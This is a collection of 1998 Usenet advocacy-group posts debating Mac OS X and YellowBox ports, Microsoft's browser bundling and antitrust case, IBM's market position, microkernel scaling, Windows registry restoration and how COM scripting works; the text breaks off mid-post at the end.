install and use and toasters. I look forwards to a world were companies
can have a handful of _good_ sysadmins rather than the hoards of cable
pullers and floppy-swapers in the Wintel world.
>> If Apple has any plans to do YB on anything other than the systems they
>> have mentioned so far, I would think that the announcement would come
>> _after_ OSX ships.
>Well see... :^) You mean "any announcement" regarding YB for Linux?
I mean "any announcement" for "any platform" other than the ones that Apple
has mentioned so far.
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com> <75ddkk$knj$1@nnrp1.dejanews.com> <75e3n7$evj$1@juliana.sprynet.com>
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Tue, 22 Dec 1998 14:25:42 -0500
Message-ID: <367ff043.0@news.deniz.com>
>MS right now makes the best web browser out there period. I welcome
>Netscape, or anyone else to offer me a better choice. I would jump on it,
>and leave MS I.E.4 like a bad habit. That's the reality of the consumer
>market. MS will probably not anytime too soon port to Linux. Even if they
>did I'm confident the end result would pale in comparison to their native
>offering. I'll wait to see what Mozilla comes up with. Anything would be
>welcome to Netscape for Linux.
IE 5.0 is truly a nice product, too. They finally fixed up some of those
annoyances with Outlook Express that make it my preferred mail client..
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 19:18:08 GMT
Organization: Primenet (602)416-7000
Message-ID: <75or9g$klr$1@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <75lv4l$uie$1@bartlet.df.lth.se>
<75m9mr$6n6$1@nnrp03.primenet.com> <367fb982.0@stan.astra.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: In <75m9mr$6n6$1@nnrp03.primenet.com> John Jensen wrote:
: > Before we go into it we should ask what percentage of executables in
: > the world are on shared disks and what percentage are on local disk?
: No, we shouldn't. We should ask what percetage of executables *in the
: Unix, or specifically OPENSTEP world* are on shared disks, since that's
: the pertinent question. The answer to that is "considerably more than
: the 2% you allow" -- I'd guess more than 75%.
I thought we were talkning about a format which would be used on MacOS X.
: > I'd estimate that 98% of all applications in-use are on a user's local
: > disk.
: On Windows, perhaps. Different problem domain.
Or Macintosh?
John
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
Date: Mon, 21 Dec 1998 20:48:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75mc67$nq5$1@nnrp1.dejanews.com>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu> <F42G4v.ALL@T-FCN.Net> <367DC47A.1D948B6@scanavia.com>
In article <367DC47A.1D948B6@scanavia.com>,
Daniel Gayet <daniel@scanavia.com> wrote:
> Do microkernel OS's suffer from the same asymptotic point of diminishing
> returns as monolithic kernels in multiprocessor hardware? In other words,
> will I get 4x the performance from a 4 processor machine if it uses a
> microkernel, or will I get maybe only a 3.1x performance increase?
They do, although they are also potentially more likely to reach that point
later than monolithic kernels do. Again, it's problematic to make
generalizations when the specific details of the implementation are so
important that they are the dominant factor in the actual performance.
It's not possible to distribute a problem onto N computing units and solve it
in 1/Nth the time-- there is always some overhead from communications and the
actual process of distributing and recombining results. At best, a N-CPU box
might come close to solving N equivalent problems on the close order of the
time required for a 1-CPU machine to solve the problem once.
This is true whether you consider a classic parallelizable algorithm like a
merge sort across a very large data set on a classic multiprocessor
architecture, or a more typical desktop multi-CPU box [insofar as the word
"typical" applies at all] such as a 2- or 4-CPU PII/Xeon box running a
database or whatever].
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca>
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 22 Dec 1998 14:39:02 -0500
Message-ID: <367ff362.0@news.deniz.com>
>History lesson: circa 1980 DOJ is on IBMs case, claiming they are abusing
>their mainframe monopoly. IBM decides to build a PC, but decides to make it
>an open system, and not maintain control of the OS for it. Why? (1) IBM
>didn't dream their PC would be a huge success, (2) No need to stir up the
>anti-trust forces any more than they were already. The rest is history.
Yep. It sure is. IBM had a few disasterous years as their customers
screamed bloody murder about confusing messages regarding mainframes. One
of the first things that Gerstner did was to squelch all talk of mainframes
being obsolete. Surprise, IBM, having laid off 100,000+ workers and losing
billions of dollars, now have a HIGHER payroll and make MORE money than they
do today. IBM makes more money than Sun, Microsoft and Oracle COMBINED.
Yet, they quietly are in the thick of it for every major computing category
at the enterprise level. Indeed, IBM is now more or less coopting Java from
Sun, without any of the fuss that accompanied Microsofts much more
publicized attempt to do the same.
Gee, the only thing IBM really needs is a PC operating system and they are
an entity onto themselves. Hmmm, what's all that money being funneled into
Linux? What's the new Unix they are working on? Hmm. Geez, IBM is bigger
and more important than they were in the 1980's, and no one even noticed.
Gerstner is watching the obsessive rivalry between Gates, McNealy, and
Ellison, and laughing all the way to the bank.
They used to say that no one got fired for buying IBM. Guess what? No one
does now, either.
>Hmm. How might history repeat itself?
Yep. IBM will rule the world. They have chip making capacity, talented
leadership, hardware, software, and a bazillion patents. Like it or not,
only IBM can give a client a complete computing picture. They have
applications (Lotus). They have hardware - from the PC to their RISC
stations to yes, mainframes, now so much in vogue as servers. They have
databases of all flavors, and, most importantly, they have a green light
from DOJ, as anti-IBM judge is now retired or dead or something. MS, Sun,
and Oracle each can only offer the piece of the pie. IBM can offer the
entire thing.
No one competes with IBM. In fact, no one can even come close, not even
Microsoft.
IBM UBER ALLES
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 98 20:11:59 GMT
Organization: P & L Systems
Message-ID: <367ffd0f.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net>
<SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com>
<75lv4l$uie$1@bartlet.df.lth.se> <75m9mr$6n6$1@nnrp03.primenet.com>
<367fb982.0@stan.astra.co.uk> <75or9g$klr$1@nnrp02.primenet.com>
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Cc: jjens@primenet.com
In <75or9g$klr$1@nnrp02.primenet.com> John Jensen wrote:
> : No, we shouldn't. We should ask what percetage of executables *in the
> : Unix, or specifically OPENSTEP world* are on shared disks, since that's
> : the pertinent question. The answer to that is "considerably more than
> : the 2% you allow" -- I'd guess more than 75%.
>
> I thought we were talkning about a format which would be used on MacOS X.
>
<sigh>
Yes, the format will be used for MacOS X.
To consider usage patters for MacOS X it seems reasonable to look at the
closest equivalents today...
> : On Windows, perhaps. Different problem domain.
> Or Macintosh?
>
... or Macintosh. Again, a different problem domain.
mmalc.
Date: Tue, 22 Dec 1998 16:53:34 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
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This message was cancelled from within Mozilla.
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <3683a3e8.17137574@news1.bway.net>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com> <distler-1712981602050001@cheshire.ph.utexas.edu> <75mpmk$am$1@fir.prod.itd.earthlink.net>
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NNTP-Posting-Date: Tue, 22 Dec 1998 09:19:06 EDT
Date: Tue, 22 Dec 1998 14:19:02 GMT
|morally speaking, ms is in every right of integrating ie as close as it
|wants to within the os for better performance or whatever. windows is a de
|facto monopoly but nobody is twisting any arms here - you CAN go out and buy
|competing OSes. so bill's analogy of him being forced to include netscape on
|the win98 being as ridiculous as forcing coke to ship a pepsi can on every
|six-pack holds water.
What most people fail to comprehend here is that the OS defines the
playing field. M$ is basically a monopoly on the desktop. That's still
nothing bad in itself. But then, look at applications developers.
They have no choice but to create their products for a market large
enough to justify their expenses or otherwise be forced to charge
exorbitant sums for their products, as you may discover when looking
at some of the really cutting-edge proprietary stuff on SGIs. Without
the chance for profits, much of the software we take for granted today
could not even exist because no one would be able to get the required
resources to create them without funding (hackers take note, we're
talking about ease of use and features here, not a text-based util).
So now let's see what happens...a developer creates an application
with purely wholesome intentions, no intentions to dethrone M$ or
anything silly like that. M$ sees this product could become a major
source of profit for them or an inroad into _other markets_ for them.
What do they do? They either buy out the developer or use the OS to
knock that developer off the playing field. Where is this developer
to go now that M$ has competely stolen their idea? Sure now they can
try to make something better, but why bother, M$ will just rip them
off again, they can never compete with M$'s budget, resources and OS
leverage. What other OS can they develop for that will ensure profit?
Yeah there's the MacOS, but apparently, there isn't enough of a market
(and sometimes it's not even technically possible as in the case of
modern 3D games) for some types of apps to justify creating them for
the MacOS. Besides, when M$ really wants to screw over competitors,
they release the application they have "created" for the MacOS as
well. Jeez, I'm all for capitalism and all that, but as user of the
by-products of this behaviour I just have to complain! :^P Forget the
politics, it's resulting in crappy software! And as a user I also feel
the best product should win, regardless of who made it. Who cares
about these large corporations if they get too big for their own good
and start abusing the people who have paid for them to get where they
are after all these years? I think the best punishment would be to
make M$ employees use their own products on real-world hardware in
real-world conditions (in other words not replacing a system whenever
it gives you the slightest bit of trouble) w/o in-house expert techs
servicing their machine. Then they might see how much fun they've
provided for their users.
So morally speaking as you said, are Microsoft's practices acceptable?
It's possible that legally they may not even be acceptable, there's no
other market like the software market, it's not a single standalone
product we're talking about, but something that relies on other
members of the industry working together. When you have a tyrant
controlling the playing field, the others have no real choice in the
matter, even if they are the originators or have a somewhat better
product.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 23 Dec 1998 01:26:47 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <368045cd.1995369062@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <slrn77foq0.s7s.jedi@dementia.mishnet> <MPG.10e7209c437f7291989763@news.dircon.co.uk> <75jsgn$o5c$1@nnrp1.dejanews.com>
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On Sun, 20 Dec 1998 22:08:24 GMT, "Charles Swiger" <chuck@codefab.com>
wrote:
>In article <MPG.10e7209c437f7291989763@news.dircon.co.uk>,
> jcmurphy@dircon.co.uk (John Murphy) wrote:
>> In article <slrn77foq0.s7s.jedi@dementia.mishnet>, jedi@dementia.mishnet
>> wrote...
>>> On Wed, 16 Dec 1998 14:40:44 GMT, Willy <willy1@rocketmail.com> wrote:
>>>> So what's so hard about restoring the registry?
>>>
>>> It's an opaque undocumented binary data structure
>>> not a simple element of the filesystem.
>>
>> Yeah, but what's so hard about restoring it?
>
>Try restoring only part of it.
>
>What, you mean I can't restore just the registry entries for (going with a
>prior example) MS-Office and leave everything else intact?
Create a temporary sub-hive under any of the major hives
(HKEY_CURRENT_USER is recommended). Restore the entries from backup
to this subhive. Select the keys you want to restore. Save those to
a file. Set the cursor to the level you need and restore from the
saved file. It's a hack, but it works.
>Or try determining what's different between the saved version and the one on
>the system (in order to figure out what broke).
Export both to a flat text file.
Run a diff between the two. This should give you an idea what the
different parts are--and also what you may need to alter to restore
it.
In essesence, you can backup the Registry to a binary blob or you can
back it up to a flat text file (although, parts of it will still be
represented in hex to correspond with the binary data). Given that
you can have text files representing the Registry, you should be able
to use any text processing scheme to manipulate the Registry if you're
incline to do so.
>It's very important to have system configuration stuff and per-user
>configuration stuff be entirely distinct and seperable. Systems that fail to
>much such distinctions are a nightmare to administer....
Which is why the Registry has HKEY_LOCAL_MACHINE and
HKEY_USERS/HKEY_CURRENT_USER hives.
-- Sang.
----------------------------------------------
My views are my own.
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk> <MPG.10e60701fb586232989747@news.dircon.co.uk> <slrn77o9p9.64l.jedi@dementia.mishnet> <MPG.10e71b905fecb937989761@news.dircon.co.uk> <slrn77qunn.c0a.jedi@dementia.mishnet>
Subject: Re: M$: Really the Best Talent?
Date: Tue, 22 Dec 1998 16:08:11 -0500
Message-ID: <36800849.0@news.deniz.com>
> While it's nice to talk about the scripting capabilities of
> Win9x or WinNT in the abstract, no one seems able to comment
> on them in the concrete besides regurgitating marketing
> literature.
Ok. I will. I am an NT partisan but I have used Perl on Solaris enough to
see why Unix heads would think it is cool. Actually, Perl on Solaris /
Linux is cool. But, in any case:
Scripting technologies in Windows tend to be best understood by dividing
them into two parts.
BAD_PART == COMMAND_WINDOW
The first part is the DOS shell interpreter, which totally sucks and can be
best ignored. That, unfortunately, is where NT draws the most laughs from
the Unix crowd because the command line interpreter is the first place any
"serious" (aka Unix) operating system user would go to first. And NT's
totally sucks. Please, no defenses here. NT's command line does not hold a
candle to BASH.
Now, that's part one. Part ii is application scripting, and that's really
the
GOOD_PART == COM
Ok, now the fun stuff is actually buried in most of your so called
application scripting languages. What goes on here is something pretty
simple. You take a rag of a language - (hmm, did I say Visual Basic), and
you make it COM aware. Then the application can go and use any other app or
service that exposes itself via COM. That pretty much means everything in
Windows, except, sadly, for the core OS, although a job scheduler did
finally make it into NT 5.0 / Win98, and, oddly, is distributed through IE
4.0! (Makes sense to me...)
COM is basically a fancy way of doing IPC but with method signatures and
types. Instead of doing something like loading a library by name and get a
pointer to a function, and call through that, you ask COM for a pointer to a
list of function pointers, and you make your calls through that. For
example, under the pure (and evil), DLL model, you'd (or your Windows
compiler would hide from you), something like
HANDLE hlib = LoadLibrary("FOO.DLL");
myfooptr = GetProcAddress(hlib, "myfoo");
myfooptr("calling my foo function", 42);
mybarptr = GetProcAddress(hlib, "mybar");
mybarptr(42, "calling my bar function", 42, 69);
With COM, you'd do something like this.
_COM_SMARTPTR_TYPEDEF(IMyFooBarClass, __uuidof(IMyFooBarClass));
IMyFooBarPtr bob;
bob.CreateInstance("Acme.FoobarServer.1");
bob->foo("calling foo method", 42);
bob->bar(42, "calling bar method", 42, 69);
Ok. So, in the DLL example, you might infer that that calling the library
is completely not typesafe. In fact, under Windows you can pretty much hose
your app if you send off legions of too many or too few or wrong typed
parameters to a DLL. The system DLLs (USER, GDI), etc, check for most of
this, but there are a few known lapses. Also, under the DLL example, you
can see that the location of the DLL is very tightly rooted to the file
system. In fact, that LoadLibrary call pretty much assumes that the DLL is
gonna be in \WINDOWS\SYSTEM, which has problems even the staunchest windows
advocate must admit.
With COM, the location of the thingy that is gonna give you your library is
irrelevant. For some reason that defies human understanding, MS, and,
through their weird leadership, is still putting stuff into Windows and
Windows / System, even though they do not need to be there! They can be
anywhere - even on a different machine (DCOM). But even if you don't
believe in the hype you can at least see there is a means of abstracting the
"concept of a service" from its physical implementation within the file
system. The app asks for an object, and it gets it.
So, what does the above example have to do with scripting languages? It
turns out that the example I gave above for COM was "early bound". That is,
the user of the foo library relied on a header being distributed with it for
type safety.
It turns out that yes, theoretically you could do some crazy stuff by
getting headers and class id's mixed up..., but some type safety is better
than none at all. However, if that is all COM was, it would still be weak.
Like, say you have an executable that needs to use a library whose methods
are unknown to you at developmental time. This is pretty much the case with
scripting languages under Windows. Does someone at Microsoft go around all
day coding every vendors application signatures into VBA? Me thinks not.
Like all things Microsoft, this is rather complicated and they added two
solutions. One is type libraries and the other is IDispatch.
Type libraries would be for if my application scripting language could
generate compiled code. They contain stuff about what classes look like for
different objects on the system. You get this stuff, for example, by using
Object Browser in any of the office apps. That Tools | References, really
means go and get the type library from this thingy and use it in my script.
So, for example, I can go and make a COM object, make a type library for it,
and any Type library aware scripting language on Windows can use it, safely.
This is kinda nice where the scripting language author might find providing
direct DLL support to be a pain, or if the scripting language users might be
novices (VBA programmers). It also means that calls can be checked at
compile time and life is ok.
But what if the language is strictly interpreted? Like older versions of
VB? Then in that case, you can use a set of facilities called "IDispatch".
IDispatch basically says that here is a collection of COM objects whose job
it is to pass parameters and types and ids off to a client. So you could
tell IDispatch to look up the id for a function named "foo", then call it
along with three parameters...
To get back to the point, a scripting language under Windows uses certain
COM interfaces (IDispatch, ITypeLibInfo), to work with other COM objects in
a generic abstract way. Under Windows, you can do something like have a VB
Application using Active X controls written in Delphi to talk to a Excel or
123. Perl just added or is adding COM support, so you could theoretically
parse something in perl, have it drive your VB application using Active X
controls written in Delphi to talk to Excel, or Word. It's sort of a glue
that does what CORBA intends but just is not used as much on Unix.
To confuse matters, I'll just mention that things like drag and drop across
apps, that nifty toolbar trick you get when you click on a spreadsheet
inside of a Word document, or even the mundane active X controls, are like
IDispatch, interfaces implemented by various objects within the system. For
example, if I have a DLL that implements something like a standard 10-20
interfaces, I get myself an Active X control. Similarly, If I have an EXE
or DLL that implements a different (but related) set of interfaces, I get
the infamous OLE In Place Editable Thingy. Or, if, I'm really sick, I can
go and implement an ActiveX Container or an OLE Container, or even sicker,
both, and have 50 interfaces, and my app can then be visually managed or
visually manage anything in the Windows universe.
But it turns out that even the simplest app can be exposed as a good old
library, and can use COM and thus be used by any decent environment. If,
for example, I build a COM library, most tools - Visual C++, Borland Delphi,
etc, will do all the dirty work of dotting the i's and crossing the t's to
make my library work simply - CORBA people are still making IDL files, I
believe. Yuck.
Of course, COM was part of MS's seemingly abandoned CAIRO dream. Everything
under CAIRO was going to be COM objects that could be swapped in or out by
third parties - a sort of a modular object oriented Windows. But, it turned
out that Cairo never really arrived - although Windows 95 / NT 4.0 have a
lot of COM stuff in them - it is rumoured that even the integrated IE is a
COM object that could theoretically be replaced by Netscape, if Netscape
implemented all of IE's COM interfaces. Then you could be browing your
Windows 98 active desktop web view folders with communicator...
imagine that.
For a good example of how a scripting engine might call an app, check out
COMEXCEL on the MS site. That's a simple c++ application that calls excel,
creates a worksheet, and makes a chart, in about 50 or so lines. (Which is
pretty amazing for c++). Even more amazing is that it is a command line
app.
Lately, MS has done some stuff to try and fix the disaster called the
COMMAND interpreter. They are trying to avoid shipping a real scripting
language with Windows as it would kill off an already killed off tools
market - and avoid yet another DOJ lawsuit. They got this thing called
Windows scipting host, which lets a developer make a universally debuggable
scripting language and also provides easy ways to get at things like desktop
icons, etc.
To summarize, what does COM (and consequently, whatever scripting language
you want), buy you.
a. language neutral. Any programming language can be used to access
pretty much any Windows application (they all support COM). Similarly, with
COM acting as a gateway, programming languages can be completely different
and talk to each other. There's no better proof than older versions of
Office. Each element in Office suite had its own version of VBA (talk about
bloat!), yet, they all worked together pretty well because they used COM as
that gateway. Just as a competent Unix sheller will hack together a script
to do something, a VBA'er (most popular choice), might hack together a bunch
of apps to do something. Turns out that database access is also through COM
these days... Simplifies a great deal.
b. theoretically easy remoting. Because interfaces are abstract from the
old DLL file method, your app could conceivably be using objects deployed on
a bunch of different computers.
c. Replacability. Yes, it is true. You can theoretically replace a bunch
of elements on the Windows desktop with your own COM implementation of the
same. For the less ambitious, there is always the ability to add your own
folder types, add your own panels, etc, to the Windows desktop, just by
making your own little COM servers for different situations and by binding
them to a file type - like those little customized pop up menus can do a
hell of a lot more than simply display a menu...
>--
> Herding Humans ~ Herding Cats
>
>Neither will do a thing unless they really want to, or |||
>is coerced to the point where it will scratch your eyes out / | \
>as soon as your grip slips.
>
> In search of sane PPP docs? Try http://penguin.lvcm.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 98 20:33:54 GMT
Organization: P & L Systems
Message-ID: <36800232.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<367969ed.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost>
<75gi0a$lcg@news1.panix.com> <FIiROLCWddLd-pn2-EOB1ltR6vkyY@localhost>
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Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-5DYndd6wVMs2@localhost> taiQ wrote:
> > I agree with your point, but how much hardware do you have to support
> > to hit 50% of the PC market?
>
> Meaning that every other PC in use would be compatible? Or every other
> piece of hardware? If it's the latter, put together a random sample of
> PCs with on average every other component supported and see how many
> of them actually work. :-)
>
> To actually get 50% marketshare on PC's one would, I believe, have to
> support something like 95-99% of the hardware combinations out there,
> out of the box. (my humble guesstimate)
>
This doesn't make sense as a sentence, so it's hard to know what you actually
mean.
To give some hard evidence, OPENSTEP managed to do at least adequately
supporting a comparative handfull of the leading peripherals (SCSI cards,
graphics cards etc.). With good support for IDE and ATAPI CD-ROMs now the
situation is even better. Given the target market, I concur with Sal -- I
don't see any need to support any but the most popular peripherals.
> The above mentioned coverage would sound acceptable to the high-end
> users - even I would be interested in it and willing to (re-)build a
> PC to run it provided it was within affordability, but if Apple wants
> to target the larger PC market (which lead us to the driver support
> issue) with MOSX/Intel the user experience should be damn near
> perfectly smooth.
>
It is already, if you read the label.
> IBM spent huge amounts of money to write drivers for
> OS/2 ending up with extensive hardware support but nevertheless
> drivers were always an issue with new variations of a theme popping up
> daily.
>
NeXT spent a fair amount of time writing drivers, and if you found out in
advance what was actually supported then you generally had few problems.
Again, with the new DriverKit Apple is making it easier for drivers written
for a card on PPC to be ported to Intel, so the "problem" is further
diminished.
> Linux gets around this problem by being "neutral
> ground" by its nature. Compaq, Dell, IBM etc. can provide driver
> support for Linux and find it in their best interest, but why would
> they do any work to support a platform owned by Apple when it's 'not
> necessary'?
>
To make more money. If they don't want to support it directly then Apple or
third parties may provide drivers, as already discussed.
> AFAICT, only an OS with no hardware-tied affiliations
> could hope to succeed in becoming mainstream in the PC market.
>
If MacOS X offered PC manufacturers an opportunity to sell more hardware I'm
sure they'd take it.
> Since we were talking about getting into mainstream my pick would be
> adding value to Linux instead.
>
No, really? That's a surprise. And the business incentive for Apple...?
> Linux already is in the enterprise - and gaining - while... I tried to
> address the NT issue above by showing that there is growing demand for
> an alternative to Microsoft.
>
Fine, MacOS X will provide another alternative. The biggest opportunity,
however, is likely to come from the Trojan Horse that YB/NT represents -- cf
Stepwise article. NT is already considered seriously in the Enterprise, the
path of least resistance for Apple is to piggy-back on NT, not to try to push
Linux -- they'd be better off establishing McOX.
> Apple can increase their presence in the enterprise market slowly and
> still see large yearly growth figures. If NT support changes that a
> little then surely Linux support would add up too. Besides, NT users
> are often nudged, or pulled screaming, towards a serene all-Microsoft
> solution scenario. NT also provides companies with very little or no
> incentive to move to PowerPC systems while with Linux that remains a
> possibility.
>
Fine. Linux certainly remains an interesting possibility; what you have
still failed to show is any compelling advantage for porting YB to Linux (as
opposed to focussing on MacOS X native and on YB/Windows), certainly in the
short term. Allow me to help you... What would be interesting would be to
survey the number of e-commerce and Big Name web sites now being run on
Linux. If it is the case that serious web application developers have a
preference for Linux (as opposed to NT, Solaris, or HP-UX) then there may be
a good argument for porting at least WebObjects to Linux. This represents
the first step. Given this as a Foundation (pun intended), it would then be
less effort to port AppKit to provide the full WO development kit on Linux,
thence YB/Linux etc.
mmalc.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-LwqmLvULXn40@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <75n3c8$ls6@news1.panix.com>
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Date: 22 Dec 98 23:20:45 GMT
On Tue, 22 Dec 1998 03:23:52, sal@panix.com (Sal Denaro) thought
aloud:
> On 20 Dec 98 17:55:45 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> Market realities preclude Apple spending any cash that would lower next
> quarters profits. While this is odd for a company with $2billion in cash
> a cap of $4.5 billions as a modest P/E of 16 and change, the last thing
> Apple should want to do it blow a wad of dough on a project that has an
> obvious roadblock.
Since there is nothing to do (wrt Linux and YB) until the obvious
(DPS->PDF etc?) roadblocks are solved.. you're right. Perhaps Apple
should consider joining Microsoft to FUD Linux because of the myriad
of threats it presents. Why join them if you can beat, or at least
ignore them.
What comes to financial performance issues, Corel's seems to have been
plain lucky with their Linux involvements (NetWinders, WordPerfect,
Office being worked on...) - not only do they get plenty of press
coverage their stock seems to have rejuvenated as well (~1 -> ~4).
They've also been busy removing their Linux/WIN32 roadblocks
(improving WINE, making Linux servers run WindowsXX software).
> >> Or the curbside on trash day. Based on my experience about 1/3 get handed
> >> over to another family member, 1/3 get "serviced" and 1/3 get tosed out in
> >> the trash. The older the machine, the more likely that it will hit the trash.
> >That's largely because of the phenomenom quite specific to Microsoft's
> >platforms called planned obsoletion combined with file format games
> >aimed at keeping competition at bay. Macintoshes, OTOH, used to have
> >almost too long life cycles.
> >
> >In any case, there will be a mountain of PC's waiting to be rescued.
>
> If my livelihood was tied to my commercial software products, I sure as hell
> would not want people to first see it running on a > 3 year old machine.
>
> I would not consider "rescued PCs" to be a valid growth market for YB.
OK. Where are the growth markets for YB that you would find valid?
> >> Sun has tried for a mass market desktop a few time and failed, dispite
> >> having plenty of momentum in other areas.
> >Sun never had the right reputation or product for consumer desktops
>
> Sun has a sterling reputation in some circles, and despite countless efforts
> to push out of the niche, they stayed there.
That's not what I disputed. ;-) Besides, I was referring to API
markets when opening my big mouth and saying "success breeds success"
(or something to that effect, I'm too lazy today to look it up).
> >> >later - Apple could have a significant foothold in two of those
> >> >markets instead of one which would subsequently help YB take on WIN32.
> >> And how long with that take assuming that there is no saturation point
> >> for Linux and growth remains at its current rate? That is the target date
> >> for a Linux port.
> >I'm not sure I understand your reply.
> >
> >I'm proposing Apple's participation in growing the Linux market and
> >the sooner they can fit that objective in their overall strategy the
> >better.
>
> Linux is still at a fraction of its overall potential market. If the growth
> isn't going to reach a saturation point any time soon, then where is the
> rush? Keep in mind that a number of products that were second ending up being
> market leaders (VHS, Dos, Unix and Windows)
It's not that I'm suggesting Apple to start a new market altogether...
just... we've been through this.
VHS? Well, how did these "second entrants" become successful? By
waiting for the markets to become half-saturated?
> >> Well, seeing that YB is mostly a development platform right now, I think you
> >> should be comparing developer to developer not Linux hacker to average user.
> >> (Most end users could give a rats ass about the tools used to create an App)
> >That wouldn't invalidate my points though. Apple has - if they want to
> >have - the goodies to help speed up the consumerization of Linux.
>
> That isn't Apple's problem. They have to work on the consumerization of
> Apple product.
NIH (in the acronym sense). That isn't Apple's problem? What did Apple
say in their own marketing speak, in the original "Here's to the grazy
ones..." ad? Something like others seeing problems were the real
geniuses saw solutions or something to that effect. What you're saying
here reminds me very clearly of the early decision not to license the
Mac OS...
> >> >I am in no way advocating pulling resources away from Apple's core
> >> >project.
> >> Then I don't see any reason for this debate :)
> >Good. So we both hope that Apple's been busy hiring, and devising
> >their very own community source licensing scheme for those projects
> >that might benefit most out there in the open? ;-)
>
> I hope Apple has been hiring for Apple's sake, not the sake of some OpenSource
